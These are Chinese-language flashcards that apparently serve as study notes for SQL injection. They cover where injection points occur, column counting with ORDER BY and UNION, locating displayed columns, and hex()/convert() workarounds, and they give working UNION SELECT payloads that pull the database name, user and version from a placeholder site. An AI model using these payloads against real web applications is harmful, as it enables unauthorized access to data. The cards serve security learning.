SQL注入 Flashcards
sql注入一般在结尾加什么?
–
%23
SQL注入通常出现在什么地方?
post,get,cookie,hash user-agent,client-ip,x-forwarded-for,referer 登陆界面 订单处理 搜索框
SQL注入时,http://…?id=1 union select 1,2,3,4,5,6 from xxx
显示为能够现实数字,但用user()替换显示位时,却不显示user,怎么解决?
很可能是编码问题
方法1,用hex():
id=-1 union select 1,2,hex(concat(database(),0x5c,user(),0x5c,version())),4,5,6 from xxx
方法2,用convert():
id=-1 union select 1,2,convert(concat(database(),0x5c,user(),0x5c,version()) using latin1),4,5,6 from xxx
sql注入时,http://www.test.com/news.php?id=0’ union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23
提示类型错误怎么办
把数字用null全部替换掉
id =1 union select null,null,null,null,null,null,null,null,null,null,null,null,null%23
然后把null依次替换成相应数字,一次替换一个,如果正常返回就保留数字,如果错误就替换回null,在替换下一个数字(当然也可以替换文本‘a’,‘b’等,也可以数字文本相结合)
最后的结果是
union select null,2,3,null,‘a’,null,’b’,8,null,null,null,null,null%23,
这样就能够定位显示位是哪个了,这里如果开了gpc,可以把字符串都换成version()
sql注入时,http://www.test.com/news.php?id=12’ order by 13%23
页面显示正常,14错误,说明注入点为字符型,字段数为13
但http://www.test.com/news.php?id=0’ union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23时,跳转到http://www.test.com/3,404错误,怎么解决?
用null替换掉异常位置,如:
http://www.test.com/news.php?id=0’ union select 1,2,null,4,5,6,7,8,concat(database(),0x3a,user(),0x3a,version()),10,11,12,13
sql注入时,查询字段数除了用?id=1 order by 寒可用什么方法?为什么可以用这个方法?
id = union select 1,2,3,4,5
原理:union select的前提是两侧字段数相同
MID()函数干什么的
截取字符串
SUBSTR()函数干什么的
截取字符串
CHAR(41)是什么意思
返回ASCII码对应的字符
ASCII(字符)是什么意思
返回字符对应的ASCII码
IF(逻辑表达式,若真的返回值1,若假的返回值2)
这是复习
LENGTH(字符串)
返回字符串长度
COUNT(列名)
返回当前列名下有效记录的数量
SLEEP(s)
静止s秒,数字类型,可自定义
/**/
–
注释